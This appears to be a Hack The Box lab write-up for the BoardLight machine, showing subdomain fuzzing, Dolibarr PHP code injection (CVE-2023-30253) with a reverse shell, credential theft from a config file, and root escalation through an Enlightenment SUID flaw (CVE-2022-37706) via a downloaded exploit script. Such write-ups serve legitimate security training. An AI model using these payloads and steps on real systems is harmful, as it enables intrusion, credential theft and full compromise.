HTB: BoardLight
| Vhost | Subdomain | Dolibarr | RCE | CVE-2023–30253 | PHP Code Injection | Configuration File | SUID | Enlightment | CVE-2022–37706 | Command Injection |
Enumeration
sudo nmap 10.129.66.220 -p- -sCV --open -Pn --min-rate=1000 -oN nmap-versionThe Linux target had two open services on port 22(SSH) and port 80(HTTP).
http://10.129.66.220The HTTP page was about a cybersecurity consulting firm named BoardLight.
At the bottom of the web page, I found a vhost named Board.htb.
cat /etc/hostsThe vhost board.htb was added to the /etc/hosts file for the proper DNS resolution.
ffuf -u http://board.htb -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.board.htb" -fs 15949The subdomain of crm was found using FFuF.
cat /etc/hostsThe subdomain crm.board.htb was added to the /etc/hosts file along with the domain name board.htb.
http://crm.board.htbIn the crm subdomain, Dolibarr 17.0.0 was running. Dolibarr ERP CRM is an open source software package that helps manage the organization’s activities (contacts, supplies, invoices, orders, stocks, agenda, etc.)
By submitting the admin::admin credentials, I was greeted with the Admin Dashboard. However, only partial permission for the Dashboard was granted.
Initial Access : Dolibarr RCE
The Dolibarr before 17.0.1 was vulnerable to RCE (Remote Code Execution) by an authenticate user via an uppercase manipulation <?PHP instead of <?php in the code injection payload.
<?PHP echo 2+2; ?>After creating a new Website and Page, I could edit the HTML source code. I injected the PoC payload between the <section> HTML tags and clicked the SAVE button.
Once the ‘Show dynamic content’ option was enabled, I could see the result 4 of 2+2. Consequently, the injected PHP code was successfully executed.
<?PHP system(id); ?>The system command id was successfully executed, as well.
This time, I injected the PHP reverse shell by PentestMonkey, whose IP and port variables were modified appropriately.
nc -lnvp 443
whoami
idBy executing the payload, I got a reverse shell as www-data from the target.
Lateral Movement : www-data → Larissa
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
[Ctrl] + Z
stty raw -echo; fg [Enter] [Enter]
export TERM=xtermI upgraded the shell to a fully interactive one.
The Internet research revealed the name of configuration file conf/conf.php of Dolibarr in the system.
find / -type f -name “conf.php” 2>/dev/nullThe conf.php file was found at /var/www/html/crm.board.htb/htdocs/conf/conf.php.
cat /var/www/html/crm.board.htb/htdocs/conf/conf.phpIn the configuration file, I found some credentials.
su larissa
whoami
idI could change the current user as larissa using the password of ‘serverfun2$2023!!’ from the conf.php file.
cat user.txt
hostnameThe user.txt flag was found on the target BoardLight.
Privilege Escalation : Larissa → Root
The LinPEAS scan found some unknown SUID binaries that belongs to the Enlightenment program. The Enlightenment program is a window manager, compositor, and minimal Desktop for Linux (the primary platform), BSD, and any other compatible UNIX system.
The Enlightenment window manager version 0.25.3–1 is vulnerable to privilege escalation (CVE-2022–37706).
The affected component is the SUID binary enlightment-sys, which contains a Command Injection by mishandling pathnames that begin with a /dev/.. substring that can lead to arbitrary command execution as root.
wget 10.10.14.37:8000/exploit.shThe downloaded exploit code named exploit.sh from GitHub was transferred to the target machine.
The last line of the exploit code mounts a folder named “/dev/../tmp/;/tmp/exploit” to /tmp/net. Since the entlightentment_sys mishandles the pathnames that begin with /dev/.., the folder name loses the double quotes during the execution and it will be interpreted as two different commands of /dev/../tmp; and /tmp/exploit. Therefore, /tmp/exploit will be executed and spawn a shell as root thanks to the SUID permission for entlightentment_sys.
chmod +x exploit.sh
./exploit.shI got a root shell after executing the exploit.
cat root.txt
hostnameThe root.txt flag was found at the /root directory of target BoardLight.
Get bluesnow’s stories in your inbox
Join Medium for free to get updates from this writer.
Thank you for reading my write-up!






